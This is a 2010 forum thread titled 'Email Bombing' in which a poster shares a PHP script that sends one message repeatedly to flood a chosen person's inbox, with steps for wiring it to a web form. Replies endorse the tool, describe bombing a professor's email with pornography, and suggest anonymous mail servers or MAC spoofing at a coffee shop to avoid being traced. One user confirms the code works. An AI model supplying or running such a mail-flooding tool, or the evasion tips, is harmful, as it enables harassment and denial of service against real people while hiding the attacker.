Email Bombing

edited September 2010 in Tech & Games
I wrote this script a few months ago for a college project, and I thought I'd share it here. It's the PHP script to send mass amounts of email to someone. Keep in mind that this is not anonymous in any way at all, but do whatever you want with it, I don't care :D

The script is as follows...

[PHP]<?php
$number = 0;
$to = $_POST;
$subject = $_POST;
$message = $_POST;
$from = $_POST;
$headers = "From: $from";
$sendtimes = $_POST;

while ($number < $sendtimes) {
$number++;
mail($to,$subject,$message,$headers);
}
echo "Mail Sent $sendtimes times!";
?>[/PHP]

Once you have your PHP script in place, create yourself an HTML form with the appropriate field names to match up with the PHP script, and you can mass-email anyone you wish.

Comments

  • edited September 2010
    You have to create a PHP file with the code in, and run it on your localhost or a webserver of some sort.
  • MayberryMayberry Regular
    edited September 2010
    Sounds like a lot of work that I don't even know how to start. I think a guide is in order :p
  • edited September 2010
    Mayberry wrote: »
    Sounds like a lot of work that I don't even know how to start. I think a guide is in order :p

    Yeah, I'll write a guide soon :D Didn't have the time tonight, just thought I'd throw this code out there :D
  • edited September 2010
    Good because i'd like to bomb my professors email with gay porn ;)

    Not a problem dude. With a good internet connection and CPU, you can flood millions of gay porn emails in seconds :D
  • DirtySanchezDirtySanchez Regular
    edited September 2010
    Awesome you should write a guide I dont know a thing about codes but I can put this to some use.
  • nurballnurball Semo-Regulars
    edited September 2010
    If you have access to web space you can upload .php files to, create a text file with the code above, save it as emailbomb.php, upload it to your web space, and run it.
  • edited September 2010
    You could use an anonymous email server or something, if you could find one. Or spoof your mac address, sit at starbucks and send the emails.
  • Professor ElmProfessor Elm Regular
    edited September 2010
    I did the same thing for a project and it really is successful :)

    I can verify that code works fine, good job.
  • edited September 2010
    You mean running your own apache server? I suppose that'd work too, haha

    Yeah, run your own Apache server. You have to have a mail server running though, not sure which server package you could download to run it. WAMP doesn't include one :(
Sign In or Register to comment.